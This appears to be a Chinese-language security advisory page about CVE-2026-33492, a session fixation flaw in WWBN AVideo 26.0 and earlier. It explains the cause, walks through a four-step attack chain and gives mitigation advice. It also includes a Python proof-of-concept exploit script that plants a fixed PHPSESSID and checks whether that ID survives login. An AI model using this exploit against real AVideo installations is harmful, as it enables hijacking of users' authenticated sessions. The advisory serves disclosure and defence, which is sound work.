IPBUF安全漏洞报告
English
CVE-2026-33492 CVSS 7.3 高危

CVE-2026-33492 AVideo会话固定漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33492
漏洞类型
会话固定
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WWBN AVideo

相关标签

Session Fixation会话固定AVideoCWE-384Authentication Bypass

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0及以下版本中,存在会话固定漏洞。攻击者可以通过`PHPSESSID` GET参数指定任意会话ID。由于登录逻辑禁用了会话重新生成,且存在特定端点绕过机制,攻击者可诱导受害者使用指定ID登录,随后劫持该经过身份验证的会话。

技术细节

该漏洞源于AVideo对PHP会话管理的缺陷。首先,`_session_start()`函数直接从GET参数`PHPSESSID`读取并设置会话ID,缺乏安全验证。其次,在`User::login()`函数中,开发者显式禁用了登录成功后的会话ID重新生成,这违反了防止会话固定的最佳实践。此外,针对特定黑名单端点的同域请求存在会话重新生成绕过。攻击者利用这些漏洞,首先生成一个恶意会话ID,将其发送给受害者。当受害者使用该ID登录时,系统不会分配新的ID,导致攻击者可以使用预知的ID直接访问受害者的账户,实现会话劫持。

攻击链分析

STEP 1
1. 会话固定
攻击者生成一个恶意的会话ID,并通过构造包含`PHPSESSID`参数的URL发送给受害者。
STEP 2
2. 诱导登录
受害者点击链接并访问目标网站,系统接受了攻击者指定的会话ID。随后受害者在不知情的情况下输入凭据进行登录。
STEP 3
3. 绕过重生成
由于`User::login()`中禁用了会话重新生成,且存在特定端点绕过机制,登录成功后用户的会话ID保持不变。
STEP 4
4. 会话劫持
攻击者使用之前固定的会话ID发送请求,服务器将其识别为已登录的受害者用户,从而获得账户控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-33492 - Session Fixation in WWBN AVideo import requests def exploit_session_fixation(target_url, username, password): s = requests.Session() # Step 1: Attacker forces a session ID via GET parameter fixed_session_id = "pwned_session_id_12345" print(f"[*] Attempting to fix session ID to: {fixed_session_id}") # Victim visits a link with the PHPSESSID parameter initial_response = s.get(f"{target_url}?PHPSESSID={fixed_session_id}") # Step 2: Victim logs in (Simulated) # In the vulnerable version, the session ID is NOT regenerated after login login_data = { 'user': username, 'pass': password, 'AVideoSessionRecovery': 'login' } print("[*] Simulating victim login...") login_response = s.post(target_url, data=login_data) # Step 3: Verify if the session is still the fixed one current_cookies = s.cookies.get_dict() if 'PHPSESSID' in current_cookies and current_cookies['PHPSESSID'] == fixed_session_id: print("[+] Success! Session ID was not regenerated after login.") print("[+] Attacker can now hijack the session using ID:", fixed_session_id) return True else: print("[-] Failed. Session ID might have been regenerated or login failed.") return False # Usage # exploit_session_fixation("http://localhost/avideo/login.php", "admin", "password")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议用户立即升级到最新版本以修复此漏洞。若无法立即升级,可尝试在WAF层面拦截包含PHPSESSID参数的GET请求,或修改应用代码强制在登录后重新生成会话ID。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表